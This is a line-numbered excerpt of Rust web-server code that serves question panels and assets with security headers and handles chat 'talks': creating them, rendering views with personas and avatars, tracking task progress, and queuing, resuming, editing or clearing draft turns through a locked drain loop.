6921 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6922 if !q.status.open() {
6923 return Err(ApiError::conflict(format!(
6924 "question {} is already {}",
6925 q.short(),
6926 q.status.as_str()
6927 )));
6928 }
6929 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6930 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6931 return Err(ApiError::conflict(format!(
6932 "question {} has no chat to ask",
6933 q.short()
6934 )));
6935 };
6936 let cfg = if q.consult.is_none() {
6940 Some(Config::discover(&talk.repo, None)?.0)
6941 } else {
6942 None
6943 };
6944 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6945 let claim = if fresh {
6946 match ui.begin_queued_talk_turn(&talk.id)? {
6947 Some(turn_guard) => {
6948 let talk = ui.talks.get(&talk.id)?;
6949 let cfg = match cfg {
6950 Some(cfg) => cfg,
6951 None => Config::discover(&talk.repo, None)?.0,
6952 };
6953 Some((talk, cfg, turn_guard))
6954 }
6955 None => None,
6956 }
6957 } else {
6958 None
6959 };
6960 let q = ui.questions.get(&q.id)?;
6961 let cfg = deputy_config(&ui.repo);
6962 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6963 Ok((view, claim))
6964 }
6965 })
6966 .await?;
6967 if let Some((talk, cfg, turn_guard)) = reclaimed {
6968 let talks = ui.talks.clone();
6969 let id = talk.id.clone();
6970 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6971 }
6972 Ok((StatusCode::ACCEPTED, Json(view)))
6973}
6974
6975fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6977 if store.path_of(id).is_file() {
6978 return Ok(id.to_owned());
6979 }
6980 pick(
6981 store.list().into_iter().map(|q| q.id).collect(),
6982 id,
6983 "question",
6984 )
6985}
6986
6987async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7002 blocking(move || {
7003 let id = resolve_question(&ui.questions, &id)?;
7004 let Some(html) = ui.questions.panel_html(&id) else {
7005 return Err(ApiError::not_found(format!("question {id} has no panel")));
7006 };
7007 Ok(panel_response(
7008 "text/html; charset=utf-8",
7009 false,
7010 html.into_bytes(),
7011 ))
7012 })
7013 .await
7014}
7015
7016async fn question_asset(
7044 State(ui): State<Arc<Ui>>,
7045 Path((id, name)): Path<(String, String)>,
7046) -> ApiResult<Response> {
7047 if !crate::ask::valid_asset_name(&name) {
7050 return Err(ApiError::bad_request(format!(
7051 "`{name}` is not a usable asset name"
7052 )));
7053 }
7054 blocking(move || {
7055 let id = resolve_question(&ui.questions, &id)?;
7056 let asset = ui
7057 .questions
7058 .panel_asset(&id, &name)
7059 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7060 let Some(bytes) = asset else {
7061 return Err(ApiError::not_found(format!(
7062 "question {id} has no asset `{name}`"
7063 )));
7064 };
7065 Ok(panel_response(
7066 asset_content_type(&name),
7067 is_svg(&name),
7068 bytes,
7069 ))
7070 })
7071 .await
7072}
7073
7074fn asset_content_type(name: &str) -> &'static str {
7087 match extension(name).as_deref() {
7088 Some("png") => "image/png",
7089 Some("jpg" | "jpeg") => "image/jpeg",
7090 Some("gif") => "image/gif",
7091 Some("webp") => "image/webp",
7092 Some("svg") => "image/svg+xml",
7093 Some("css") => "text/css; charset=utf-8",
7094 Some("txt") => "text/plain; charset=utf-8",
7095 _ => "application/octet-stream",
7096 }
7097}
7098
7099fn is_svg(name: &str) -> bool {
7102 extension(name).as_deref() == Some("svg")
7103}
7104
7105fn extension(name: &str) -> Option<String> {
7107 name.rsplit_once('.')
7108 .map(|(_, ext)| ext.to_ascii_lowercase())
7109}
7110
7111fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7128 let mut res = (
7129 [
7130 (header::CONTENT_TYPE, content_type),
7131 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7132 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7133 (header::REFERRER_POLICY, "no-referrer"),
7134 ],
7135 body,
7136 )
7137 .into_response();
7138 if download {
7139 res.headers_mut().insert(
7140 header::CONTENT_DISPOSITION,
7141 HeaderValue::from_static("attachment"),
7142 );
7143 }
7144 res
7145}
7146
7147#[derive(Debug, Serialize)]
7153struct TalkView {
7154 #[serde(flatten)]
7155 talk: Talk,
7156 turn_bodies_md: Vec<Vec<md::Node>>,
7157 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7159 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7160 thinking: bool,
7168 context: talk::ContextUsage,
7172 operator_name: Option<String>,
7175 persona_name: Option<String>,
7177 persona_avatar: String,
7180 operator_avatar: String,
7182 magi_avatar: String,
7183}
7184
7185impl TalkView {
7186 fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7189 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7190 Self::with_config(talk, thinking, cfg.as_ref(), home)
7191 }
7192
7193 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7196 let snapshot = talk.clone();
7198 for (index, turn) in talk.turns.iter_mut().enumerate() {
7199 let original = &snapshot.turns[index];
7200 if turn.messages.is_empty() {
7201 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7202 turn.messages.push(talk::Message {
7203 sender: Some(talk::Sender::Magi),
7204 body: original.body.clone(),
7205 display: Some(display),
7206 attachments: original.attachments.clone(),
7207 reply: None,
7208 });
7209 }
7210 } else {
7211 for (i, message) in turn.messages.iter_mut().enumerate() {
7212 message.display =
7213 talk::notice_display(&snapshot, original, original.messages.get(i));
7214 if message.display.is_some() {
7215 message.sender = Some(talk::Sender::Magi);
7216 }
7217 }
7218 }
7219 }
7220 for message in &mut talk.pending_messages {
7221 if message.display.is_none()
7222 && (message.sender == Some(talk::Sender::Magi)
7223 || snapshot
7224 .completion_notices
7225 .iter()
7226 .any(|r| r.notice == message.body))
7227 {
7228 message.display = crate::prompt::legacy_notice_display(&message.body);
7229 if message.display.is_some() {
7230 message.sender = Some(talk::Sender::Magi);
7231 }
7232 }
7233 }
7234 if talk.pending_messages.is_empty()
7235 && snapshot
7236 .completion_notices
7237 .iter()
7238 .any(|r| r.notice == talk.pending)
7239 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7240 {
7241 talk.pending_messages.push(talk::Message {
7242 sender: Some(talk::Sender::Magi),
7243 display: Some(display),
7244 body: talk.pending.clone(),
7245 attachments: talk.pending_attachments.clone(),
7246 reply: None,
7247 });
7248 }
7249 let excerpts: Vec<Vec<Option<String>>> = talk
7250 .turns
7251 .iter()
7252 .map(|turn| {
7253 turn.messages
7254 .iter()
7255 .map(|m| {
7256 m.display
7257 .as_ref()
7258 .map(|d| d.facts.chars().take(240).collect())
7259 })
7260 .collect()
7261 })
7262 .collect();
7263 for turn in &mut talk.turns {
7264 let provenance = talk::sender(turn, None);
7265 turn.sender = Some(provenance);
7266 for message in &mut turn.messages {
7267 message.sender = Some(message.sender.unwrap_or(provenance));
7268 }
7269 }
7270 let senders: Vec<Vec<talk::Sender>> = talk
7272 .turns
7273 .iter()
7274 .map(|turn| {
7275 if turn.messages.is_empty() {
7276 vec![talk::sender(turn, None)]
7277 } else {
7278 turn.messages
7279 .iter()
7280 .map(|m| talk::sender(turn, Some(m)))
7281 .collect()
7282 }
7283 })
7284 .collect();
7285 for reply in talk
7286 .turns
7287 .iter_mut()
7288 .flat_map(|t| t.messages.iter_mut())
7289 .chain(talk.pending_messages.iter_mut())
7290 .filter_map(|m| m.reply.as_mut())
7291 {
7292 if let Some(Some(excerpt)) = excerpts
7293 .get(reply.target.turn)
7294 .and_then(|ms| ms.get(reply.target.message))
7295 {
7296 reply.excerpt = excerpt.clone();
7297 reply.sender = Some(talk::Sender::Magi);
7298 }
7299 if reply.sender.is_none() {
7300 reply.sender = senders
7301 .get(reply.target.turn)
7302 .and_then(|messages| messages.get(reply.target.message))
7303 .copied();
7304 }
7305 }
7306 let context = talk::context_usage(&talk, cfg);
7307 let turn_bodies_md = talk
7308 .turns
7309 .iter()
7310 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7311 .collect();
7312 let turn_messages_md = talk
7313 .turns
7314 .iter()
7315 .map(|turn| {
7316 if turn.messages.is_empty() {
7317 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7318 } else {
7319 turn.messages
7320 .iter()
7321 .map(|message| {
7322 notice_markdown(
7323 message.sender.unwrap_or(talk::Sender::Operator),
7324 &message.body,
7325 message.display.as_ref(),
7326 )
7327 })
7328 .collect()
7329 }
7330 })
7331 .collect();
7332 let pending_messages_md = talk
7333 .pending_messages
7334 .iter()
7335 .map(|message| {
7336 notice_markdown(
7337 message.sender.unwrap_or(talk::Sender::Operator),
7338 &message.body,
7339 message.display.as_ref(),
7340 )
7341 })
7342 .collect();
7343 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7344 let persona_name = persona::find(specs, &talk.persona)
7345 .filter(|p| !p.is_default())
7346 .map(|p| p.name);
7347 let persona_avatar = avatar_url(
7348 &talk.id,
7349 &persona::find(specs, &talk.persona)
7350 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7351 );
7352 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7353 Self {
7354 turn_bodies_md,
7355 turn_messages_md,
7356 pending_messages_md,
7357 thinking,
7358 context,
7359 operator_name,
7360 persona_name,
7361 persona_avatar,
7362 magi_avatar: magi_icon_url(home),
7363 operator_avatar: format!(
7364 "/avatars/operator.svg?v={}",
7365 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7366 ),
7367 talk,
7368 }
7369 }
7370}
7371
7372fn notice_markdown(
7374 sender: talk::Sender,
7375 body: &str,
7376 display: Option<&crate::prompt::NoticeDisplay>,
7377) -> Option<Vec<md::Node>> {
7378 if sender != talk::Sender::Magi {
7379 return None;
7380 }
7381 let text = if let Some(display) = display {
7382 display.facts.as_str()
7383 } else {
7384 if crate::prompt::is_completion_notice(body)
7387 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7388 {
7389 return None;
7390 }
7391 body.strip_prefix("magi: ").unwrap_or(body)
7392 };
7393 Some(md::to_nodes(text, &md::ImageBase::None))
7394}
7395
7396#[derive(Debug, Serialize)]
7401struct TalkDetailView {
7402 #[serde(flatten)]
7403 view: TalkView,
7404 tasks: Vec<TaskView>,
7405 task_progress: TalkTaskProgress,
7406 roster: Vec<RosterEntry>,
7409 personas: Vec<PersonaEntry>,
7412}
7413
7414#[derive(Debug, Serialize)]
7416struct TalkTaskProgress {
7417 state: &'static str,
7418 total: usize,
7419 done: usize,
7420 counts: std::collections::BTreeMap<&'static str, usize>,
7421 unfinished_ids: Vec<String>,
7422}
7423
7424fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
7425 let mut counts = std::collections::BTreeMap::from([
7426 ("queued", 0),
7427 ("running", 0),
7428 ("done", 0),
7429 ("failed", 0),
7430 ("held", 0),
7431 ("blocked", 0),
7432 ("parked", 0),
7433 ]);
7434 let mut unfinished_ids = Vec::new();
7435 for task in tasks {
7436 *counts.entry(task.status.as_str()).or_default() += 1;
7437 if task.status != TaskStatus::Done {
7438 unfinished_ids.push(task.id.clone());
7439 }
7440 }
7441 TalkTaskProgress {
7442 state: if tasks.is_empty() {
7443 "none"
7444 } else if unfinished_ids.is_empty() {
7445 "complete"
7446 } else {
7447 "incomplete"
7448 },
7449 total: tasks.len(),
7450 done: tasks.len() - unfinished_ids.len(),
7451 counts,
7452 unfinished_ids,
7453 }
7454}
7455
7456#[derive(Debug, Serialize)]
7458struct PersonaEntry {
7459 id: String,
7460 name: String,
7461 avatar: String,
7463}
7464
7465#[derive(Debug, Serialize)]
7467struct RosterEntry {
7468 id: String,
7469 kind: AgentKind,
7470 runnable: bool,
7472}
7473
7474async fn talks_list(
7479 State(ui): State<Arc<Ui>>,
7480 Query(q): Query<ListQuery>,
7481) -> ApiResult<Json<Vec<TalkView>>> {
7482 blocking(move || {
7483 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7484 Ok(Json(
7485 ui.talks
7486 .list()
7487 .into_iter()
7488 .filter(|talk| q.contains(&talk.id))
7489 .map(|talk| {
7490 let thinking = ui.is_thinking(&talk.id);
7491 let cfg = configs
7492 .entry(talk.repo.clone())
7493 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7494 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7495 })
7496 .collect(),
7497 ))
7498 })
7499 .await
7500}
7501
7502#[derive(Debug, Default, Deserialize)]
7507#[serde(default)]
7508struct NewTalk {
7509 agent: Option<String>,
7510 repo: Option<PathBuf>,
7511 preferred_agent: Option<serde_json::Value>,
7515 persona: Option<serde_json::Value>,
7516 implementers: Option<serde_json::Value>,
7517}
7518
7519async fn talk_post(
7522 State(ui): State<Arc<Ui>>,
7523 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7524) -> ApiResult<impl IntoResponse> {
7525 let body = match body {
7529 Ok(Json(body)) => body,
7530 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7531 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7532 };
7533 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7534 let cfg = config_for(&repo).await?;
7535 let view = blocking(move || {
7536 let preferred = talk::Preferred {
7537 agent: body
7538 .preferred_agent
7539 .as_ref()
7540 .and_then(|v| v.as_str())
7541 .map(str::to_owned),
7542 persona: body
7543 .persona
7544 .as_ref()
7545 .and_then(|v| v.as_str())
7546 .map(str::to_owned),
7547 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7548 };
7549 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7550 let thinking = ui.is_thinking(&talk.id);
7551 Ok(TalkView::new(talk, thinking, &ui.home))
7552 })
7553 .await?;
7554 Ok((StatusCode::CREATED, Json(view)))
7555}
7556
7557async fn talk_detail(
7559 State(ui): State<Arc<Ui>>,
7560 Path(id): Path<String>,
7561) -> ApiResult<Json<TalkDetailView>> {
7562 blocking(move || {
7563 let id = resolve_talk(&ui.talks, &id)?;
7564 let talk = ui.talks.get(&id)?;
7565 let thinking = ui.is_thinking(&talk.id);
7566 let tasks = talk::tasks_of(&ui.queue, &talk.id);
7567 let task_progress = talk_task_progress(&tasks);
7568 let tasks = tasks.into_iter().map(TaskView::from).collect();
7569 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7570 let roster = cfg
7571 .as_ref()
7572 .map(|cfg| {
7573 cfg.agents
7574 .iter()
7575 .map(|a| RosterEntry {
7576 id: a.id.clone(),
7577 kind: a.kind,
7578 runnable: agent::installed(a),
7579 })
7580 .collect()
7581 })
7582 .unwrap_or_default();
7583 let specs = cfg
7584 .as_ref()
7585 .map(|cfg| cfg.talk.personas.clone())
7586 .unwrap_or_default();
7587 let personas = persona::catalog(&specs)
7588 .into_iter()
7589 .map(|p| PersonaEntry {
7590 avatar: avatar_url(&talk.id, &p),
7591 id: p.id,
7592 name: p.name,
7593 })
7594 .collect();
7595 Ok(Json(TalkDetailView {
7596 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7597 tasks,
7598 task_progress,
7599 roster,
7600 personas,
7601 }))
7602 })
7603 .await
7604}
7605
7606#[derive(Debug, Default, Deserialize)]
7612#[serde(default, deny_unknown_fields)]
7613struct NewTalkTurn {
7614 reply_to: Option<talk::ReplyTarget>,
7615 text: String,
7616 attachments: Vec<String>,
7617}
7618
7619#[derive(Debug, Deserialize)]
7620#[serde(deny_unknown_fields)]
7621struct EditTalkPending {
7622 #[serde(default)]
7623 message: Option<usize>,
7624 text: String,
7625 expected_text: String,
7626 expected_attachments: Vec<String>,
7627}
7628
7629#[derive(Debug, Deserialize)]
7630#[serde(deny_unknown_fields)]
7631struct ClearTalkPending {
7632 expected_text: String,
7633 expected_attachments: Vec<String>,
7634}
7635
7636async fn talk_say(
7648 State(ui): State<Arc<Ui>>,
7649 Path(id): Path<String>,
7650 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7651) -> ApiResult<(StatusCode, Json<TalkView>)> {
7652 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7653 if body.text.trim().is_empty() && body.attachments.is_empty() {
7654 return Err(ApiError::bad_request("say something"));
7655 }
7656
7657 let id = {
7658 let ui = Arc::clone(&ui);
7659 let asked = id.clone();
7660 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7661 };
7662 {
7666 let ui = Arc::clone(&ui);
7667 let id = id.clone();
7668 blocking(move || {
7669 let talk = ui.talks.get(&id)?;
7670 if !talk.status.open() {
7671 return Err(ApiError::conflict(format!(
7672 "talk {} is {} and takes no more turns",
7673 talk.short(),
7674 talk.status.as_str()
7675 )));
7676 }
7677 Ok(())
7678 })
7679 .await?;
7680 }
7681
7682 let attachments = {
7687 let ui = Arc::clone(&ui);
7688 let id = id.clone();
7689 let ids = body.attachments.clone();
7690 blocking(move || {
7691 ids.into_iter()
7692 .map(|att_id| {
7693 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7694 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7695 })
7696 })
7697 .collect::<ApiResult<Vec<talk::Attachment>>>()
7698 })
7699 .await?
7700 };
7701
7702 let start = {
7707 let ui = Arc::clone(&ui);
7708 let id = id.clone();
7709 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7710 };
7711 let turn_guard = match start {
7712 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7713 TalkTurnStart::Pending => {
7714 return Err(ApiError::conflict(
7715 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7716 ));
7717 }
7718 TalkTurnStart::Foreign => {
7719 return Err(ApiError::conflict(
7720 "a turn is already running in another process; try again when it has finished",
7721 ));
7722 }
7723 TalkTurnStart::Busy => {
7724 let (tx, rx) = tokio::sync::oneshot::channel();
7740 tokio::spawn({
7741 let ui = Arc::clone(&ui);
7742 let id = id.clone();
7743 let said = body.text.clone();
7744 let reply_to = body.reply_to.clone();
7745 async move {
7746 let written = blocking({
7747 let ui = Arc::clone(&ui);
7748 let id = id.clone();
7749 move || {
7750 let mut talk = ui.talks.get(&id)?;
7751 #[cfg(test)]
7756 if let Some(gate) = ui
7757 .busy_queue_gate
7758 .lock()
7759 .unwrap_or_else(PoisonError::into_inner)
7760 .take()
7761 {
7762 let _ = gate.reached.send(());
7763 let _ = gate.release.recv();
7764 }
7765 if let Err(error) = talk::queue_reply(
7766 &mut talk,
7767 &ui.talks,
7768 &said,
7769 attachments,
7770 reply_to,
7771 ) {
7772 if let Ok(fresh) = ui.talks.get(&id) {
7773 if !fresh.status.open() {
7774 return Err(ApiError::conflict(format!(
7775 "talk {} is {} and takes no more turns",
7776 fresh.short(),
7777 fresh.status.as_str()
7778 )));
7779 }
7780 }
7781 return Err(
7782 if error.to_string().contains("invalid reply target") {
7783 ApiError::bad_request("invalid reply target")
7784 } else {
7785 ApiError::from(error)
7786 },
7787 );
7788 }
7789 let claim = match ui.begin_queued_talk_turn(&id)? {
7800 Some(turn_guard) => {
7801 let (cfg, _) = Config::discover(&talk.repo, None)?;
7802 Some((talk.clone(), cfg, turn_guard))
7803 }
7804 None => None,
7805 };
7806 let thinking = ui.is_thinking(&id);
7807 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7808 }
7809 })
7810 .await;
7811 let (view, reclaimed) = match written {
7812 Ok(pair) => pair,
7813 Err(e) => {
7814 let _ = tx.send(Err(e));
7819 return;
7820 }
7821 };
7822 let _ = tx.send(Ok(view));
7825 if let Some((talk, cfg, turn_guard)) = reclaimed {
7826 let talks = ui.talks.clone();
7827 drain_loop(talk, talks, cfg, id, turn_guard).await;
7828 }
7829 }
7830 });
7831 let view = rx
7832 .await
7833 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7834 return Ok((StatusCode::ACCEPTED, Json(view)));
7835 }
7836 };
7837
7838 let (talk, cfg) = {
7839 let ui = Arc::clone(&ui);
7840 let id = id.clone();
7841 blocking(move || {
7842 let talk = ui.talks.get(&id)?;
7843 let (cfg, _) = Config::discover(&talk.repo, None)?;
7844 Ok((talk, cfg))
7845 })
7846 .await?
7847 };
7848
7849 let talks = ui.talks.clone();
7850 let (tx, rx) = tokio::sync::oneshot::channel();
7865 tokio::spawn({
7866 let ui = Arc::clone(&ui);
7867 let talks = talks.clone();
7868 let id = id.clone();
7869 let said = body.text.clone();
7870 let reply_to = body.reply_to.clone();
7871 let mut talk = talk.clone();
7872 async move {
7873 let recorded = blocking({
7874 let talks = talks.clone();
7875 move || {
7876 if let Err(error) =
7877 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7878 {
7879 if let Ok(fresh) = talks.get(&talk.id) {
7880 if !fresh.status.open() {
7881 return Err(ApiError::conflict(format!(
7882 "talk {} is {} and takes no more turns",
7883 fresh.short(),
7884 fresh.status.as_str()
7885 )));
7886 }
7887 }
7888 return Err(if error.to_string().contains("invalid reply target") {
7889 ApiError::bad_request("invalid reply target")
7890 } else {
7891 ApiError::from(error)
7892 });
7893 }
7894 Ok((said.trim().to_owned(), talk))
7900 }
7901 })
7902 .await;
7903 let (text, mut talk) = match recorded {
7904 Ok(pair) => pair,
7905 Err(e) => {
7906 let _ = tx.send(Err(e));
7910 return;
7911 }
7912 };
7913 let queued = talk.clone();
7914 let thinking = ui.is_thinking(&id);
7915 let _ = tx.send(Ok((queued, thinking)));
7918
7919 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7920 tracing::warn!("talk {id} turn failed: {e:#}");
7924 }
7925 drain_loop(talk, talks, cfg, id, turn_guard).await;
7928 }
7929 });
7930
7931 let (queued, thinking) = rx
7932 .await
7933 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7934
7935 Ok((
7937 StatusCode::ACCEPTED,
7938 Json(TalkView::new(queued, thinking, &ui.home)),
7939 ))
7940}
7941
7942async fn talk_pending_resume(
7946 State(ui): State<Arc<Ui>>,
7947 Path(id): Path<String>,
7948) -> ApiResult<(StatusCode, Json<TalkView>)> {
7949 let id = {
7950 let ui = Arc::clone(&ui);
7951 let asked = id.clone();
7952 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7953 };
7954 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7955 return Err(ApiError::conflict(
7956 "a talk turn is already running; the queued draft will be handled by it",
7957 ));
7958 };
7959 let (talk, cfg) = {
7960 let ui = Arc::clone(&ui);
7961 let id = id.clone();
7962 blocking(move || {
7963 let talk = ui.talks.get(&id)?;
7964 if !talk.status.open() {
7965 return Err(ApiError::conflict(format!(
7966 "talk {} is {} and takes no more turns",
7967 talk.short(),
7968 talk.status.as_str()
7969 )));
7970 }
7971 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7972 return Err(ApiError::conflict("there is no queued draft to resume"));
7973 }
7974 let (cfg, _) = Config::discover(&talk.repo, None)?;
7975 Ok((talk, cfg))
7976 })
7977 .await?
7978 };
7979 let view = TalkView::new(talk.clone(), true, &ui.home);
7980 let talks = ui.talks.clone();
7981 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7982 Ok((StatusCode::ACCEPTED, Json(view)))
7983}
7984
7985async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8001 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8002}
8003
8004async fn settle_settings_turn(
8008 talk: Talk,
8009 talks: Talks,
8010 cfg: Config,
8011 id: String,
8012 turn: TalkTurnGuard,
8013 observed: u64,
8014) -> bool {
8015 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8016 let turns = Arc::clone(&turn.turns);
8017 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8018 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8019 turn.release(&mut live);
8021 return false;
8022 }
8023 }
8024 let (started, settled) = tokio::sync::oneshot::channel();
8025 tokio::spawn(drain_loop_started(
8026 talk,
8027 talks,
8028 cfg,
8029 id,
8030 turn,
8031 Some(started),
8032 ));
8033 settled.await.unwrap_or(false)
8034}
8035
8036async fn drain_loop_started(
8037 mut talk: Talk,
8038 talks: Talks,
8039 cfg: Config,
8040 id: String,
8041 turn: TalkTurnGuard,
8042 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8043) {
8044 let live_set = Arc::clone(&turn.turns);
8045 let mut turn = Some(turn);
8053 loop {
8054 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8055 tracing::warn!("talk {id} lost its turn lease; not draining further");
8058 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8059 if let Some(turn) = turn.take() {
8060 turn.release(&mut live);
8061 }
8062 break;
8063 }
8064 {
8065 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8068 if live.parking {
8069 if let Some(turn) = turn.take() {
8070 turn.release(&mut live);
8071 }
8072 break;
8073 }
8074 }
8075 let observed = live_set
8079 .lock()
8080 .unwrap_or_else(PoisonError::into_inner)
8081 .queued
8082 .get(&id)
8083 .copied()
8084 .unwrap_or(0);
8085 let drained = blocking({
8086 let talks = talks.clone();
8087 let live_set = Arc::clone(&live_set);
8088 move || {
8089 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8094 let result = if live.parking {
8095 Ok(None)
8096 } else {
8097 talk::drain(&mut talk, &talks)
8098 };
8099 drop(live);
8100 Ok((talk, result))
8101 }
8102 })
8103 .await;
8104 let (next_talk, result) = match drained {
8105 Ok(drained) => drained,
8106 Err(e) => {
8107 tracing::warn!(
8108 status = %e.status,
8109 message = %e.message,
8110 "talk {id} could not start queued-text drain"
8111 );
8112 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8113 turn.take()
8114 .expect("held for the whole loop until released here")
8115 .release(&mut live);
8116 break;
8117 }
8118 };
8119 talk = next_talk;
8120 let drained = match result {
8121 Ok(Some(drained)) => drained,
8122 Ok(None) => {
8123 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8124 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8125 continue;
8126 }
8127 turn.take()
8128 .expect("held for the whole loop until released here")
8129 .release(&mut live);
8130 break;
8131 }
8132 Err(e) => {
8133 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8134 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8135 turn.take()
8136 .expect("held for the whole loop until released here")
8137 .release(&mut live);
8138 break;
8139 }
8140 };
8141 if let Some(started) = started.take() {
8142 let _ = started.send(true);
8143 }
8144 let responded = match turn.as_ref() {
8145 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8146 None => Err(anyhow::anyhow!("the turn guard was released")),
8147 };
8148 if let Err(e) = responded {
8149 tracing::warn!("talk {id} turn failed: {e:#}");
8150 }
8151 }
8152 drop(turn);
8153 if let Some(started) = started {
8154 let _ = started.send(false);
8155 }
8156}
8157
8158async fn talk_pending_clear(
8160 State(ui): State<Arc<Ui>>,
8161 Path(id): Path<String>,
8162 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8163) -> ApiResult<Json<TalkView>> {
8164 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8165 blocking(move || {
8166 let id = resolve_talk(&ui.talks, &id)?;
8167 let mut talk = ui.talks.get(&id)?;
8168 if !talk.status.open() {
8169 return Err(ApiError::conflict(format!(
8170 "talk {} is {} and takes no more turns",
8171 talk.short(),
8172 talk.status.as_str()
8173 )));
8174 }
8175 if !talk::clear_pending_if_matches(
8176 &mut talk,
8177 &ui.talks,
8178 &body.expected_text,
8179 &body.expected_attachments,
8180 )? {
8181 return Err(ApiError::conflict(
8182 "queued message changed; reload it before clearing",
8183 ));
8184 }
8185 let thinking = ui.is_thinking(&talk.id);
8186 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8187 })
8188 .await
8189}
8190
8191async fn talk_pending_edit(
8195 State(ui): State<Arc<Ui>>,
8196 Path(id): Path<String>,
8197 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8198) -> ApiResult<Json<TalkView>> {
8199 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8200 let (view, reclaimed) = blocking({
8201 let ui = Arc::clone(&ui);
8202 move || {
8203 let id = resolve_talk(&ui.talks, &id)?;
8204 let mut talk = ui.talks.get(&id)?;
8205 if !talk.status.open() {
8206 return Err(ApiError::conflict(format!(
8207 "talk {} is {} and takes no more turns",
8208 talk.short(),
8209 talk.status.as_str()
8210 )));
8211 }
8212 if !talk::edit_pending_message(
8213 &mut talk,
8214 &ui.talks,
8215 &body.text,
8216 &body.expected_text,
8217 &body.expected_attachments,
8218 body.message,
8219 )? {
8220 return Err(ApiError::conflict(
8221 "queued message changed; reload it before editing",
8222 ));
8223 }
8224 let claim = match ui.begin_queued_talk_turn(&id)? {
8225 Some(turn_guard) => {
8226 let (cfg, _) = Config::discover(&talk.repo, None)?;
8227 Some((talk.clone(), cfg, id.clone(), turn_guard))
8228 }
8229 None => None,
8230 };
8231 let thinking = ui.is_thinking(&id);
8232 Ok((TalkView::new(talk, thinking, &ui.home), claim))
8233 }
8234 })
8235 .await?;
8236 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8237 let talks = ui.talks.clone();
8238 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8239 }
8240 Ok(Json(view))
8241}
8242
